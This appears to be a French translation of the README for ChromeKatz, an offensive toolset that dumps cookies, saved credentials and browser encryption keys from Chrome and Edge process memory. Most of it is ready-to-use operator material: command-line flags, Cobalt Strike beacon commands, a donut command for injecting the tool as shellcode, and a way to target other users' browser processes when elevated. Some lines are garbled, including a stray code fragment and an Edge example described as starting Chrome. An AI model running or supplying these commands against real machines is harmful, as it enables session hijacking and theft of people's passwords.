
Extraire les cookies et identifiants directement depuis la mémoire des processus Chrome/Edge
ChromeKatz est une solution pour extraire des informations sensibles depuis la mémoire des navigateurs basés sur Chromium. Pour l'instant, ChromeKatz se compose de trois projets :
CookieKatz dispose d'un exe, d'un Beacon Object File et d'un parseur de minidump, et ElevationKatz d'un exécutable et d'un Beacon Object File.
ElevationKatz est désormais capable de parser les bases de données de cookies et d'identifiants depuis la mémoire du navigateur et de les déchiffrer pour vous.
CookieKatz a été entièrement repensé pour utiliser une méthode bien plus robuste pour trouver les cookies ! La nouvelle méthode prend également en charge les versions plus anciennes du navigateur. Un nouveau flag /inject a été implémenté dans CookieKatz pour contourner le chiffrement App-Bound sur les navigateurs concernés !
J'ai besoin d'un café, et mes chats aussi !
CookieKatz est un projet qui permet aux opérateurs de dumper les cookies de Chrome, Edge ou Msedgewebview2 directement depuis la mémoire du processus. Les navigateurs basés sur Chromium chargent tous leurs cookies depuis la base de données de cookies sur disque au démarrage.
Les avantages de cette approche sont* :
Ces affirmations restent vraies pour certains navigateurs/applications. Pour les dernières versions de Chrome, vous devrez injecter dans le processus. ... Ou utilisez ElevationKatz
Les installations de navigateur 32 bits ne sont pas prises en charge et les builds 32 bits de CookieKatz ne le sont pas non plus.
Actuellement, seuls les cookies standard sont dumpés. Chromium stocke les cookies partitionnés à un endroit différent et ils ne sont actuellement pas inclus dans le dump.
Cette solution se compose de trois projets : CookieKatz qui est un exécutable PE, CookieKatz-BOF qui est une version Beacon Object File et CookieKatzMinidump qui est le parseur de minidump.
REMARQUE ! Lorsque vous choisissez d'utiliser un PID comme cible, utilisez respectivement les commandes /list ou cookie-katz-find pour sélectionner le bon sous-processus !
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz permet aux opérateurs de dumper la clé de chiffrement du profil du navigateur depuis la mémoire afin de permettre l'accès aux informations sensibles de l'utilisateur. Cela fonctionne en démarrant un nouveau processus navigateur en pause, en définissant des points d'arrêt et en dumpant la clé une fois que le processus navigateur l'a reçue du service d'élévation.
Les avantages de cette approche sont :
ElevationKatz démarre un nouveau processus navigateur à l'état suspendu et y attache un débogueur. Ensuite, il analyse la dll du navigateur pour trouver l'instruction où le navigateur revient de l'appel à os_crypt::DecryptAppBoundString et place un point d'arrêt immédiatement après. Une fois le point d'arrêt atteint, l'outil dumpe la clé de chiffrement depuis la mémoire.
L'opérateur peut choisir entre deux types de points d'arrêt : les points d'arrêt logiciels (Software) et matériels (Hardware).
De plus, pour les points d'arrêt HW, deux méthodes d'énumération des threads sont prises en charge : NtGetNextThread et CreateToolhelp32Snapshot. Les points d'arrêt SW n'ont pas besoin d'énumération des threads et le flag /tl32 ne les affecte donc pas.
Le nouveau paramètre config peut être utilisé pour déchiffrer automatiquement les bases de données de profil. Cela utilise la technique d'IHack4Falafel pour parser les bases de données Cookie et Login Profile depuis la mémoire du navigateur, en évitant de toucher directement aux fichiers.
Remarque : le dump ne fonctionne qu'avec les points d'arrêt HW car je n'ai pas trouvé comment nettoyer correctement les points d'arrêt SW et rembobiner RIP pour éviter que le processus ne plante.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
J'ai soumis un rapport au projet Chromium concernant le bug que CredentialKatz exploitait à l'origine et ils l'ont marqué comme « Won't fix » en déclarant qu'ils se moquaient que les identifiants persistent en mémoire.
Soudain, ils ont corrigé le bug exactement de la manière que j'avais proposée après la publication de l'outil :3 https://issues.chromium.org/issues/352085708
Téléchargez la dernière version compilée des BOFs ChrokeKatz ici. Le fichier zip contient les BOFs compilés et le script CNA pour les exécuter.
Vous pouvez compiler les deux projets avec Visual Studio en configuration Release ou Debug et sur la plateforme x64.
La version BOF a été développée avec le modèle Visual Studio de Cobalt Strike bof-vs. Cela signifie que la configuration Debug des *-BOFs générera un exe au lieu du fichier COFF. Vous pouvez en savoir plus sur l'utilisation du modèle Visual Studio ici.
Vous pouvez compiler votre propre BOF avec nmake dans x64 Native Tools Command Prompt for VS 2022 :
nmake all